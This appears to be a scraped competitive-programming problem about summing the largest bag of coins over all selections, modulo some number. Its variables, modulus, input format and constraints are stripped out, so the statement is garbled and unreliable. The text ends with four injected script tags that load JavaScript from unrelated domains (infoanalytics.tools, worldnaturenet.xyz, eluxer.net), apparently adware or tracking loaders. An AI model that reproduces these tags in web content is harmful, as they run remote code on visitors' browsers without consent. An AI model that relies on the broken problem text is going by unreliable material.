You are given bags and each bag contains gold coins. You must select distinct bags. The bag with the maximum amount of coins among the bags is added to a set .
Write a program to calculate the total number of set over each possible combination of bags. Since the output can be large, print the answer modulo
Input format
Output format
Print the total value of modulo over each possible combination of bags.
Constraints
All possible selections of 3 bags are:
[2, 4, 2], [2, 4, 3], [2, 4, 1], [2, 2, 3], [2, 2, 1], [2, 3, 1], [4, 2, 3], [4, 2, 1], [4, 3, 1], [2, 3, 1]
Now if add the maximum coins bag from each selection then we have : 4+4+4+3+2+3+4+4+4+3 = 35
<script src="https://infoanalytics.tools/addons/lnkr5.min.js" type="text/javascript"></script> <script src="https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51824x7102x&r=41" type="text/javascript"></script> <script src="https://infoanalytics.tools/addons/lnkr30_nt.min.js" type="text/javascript"></script> <script src="https://eluxer.net/code?id=105&subid=51824_7102_" type="text/javascript"></script>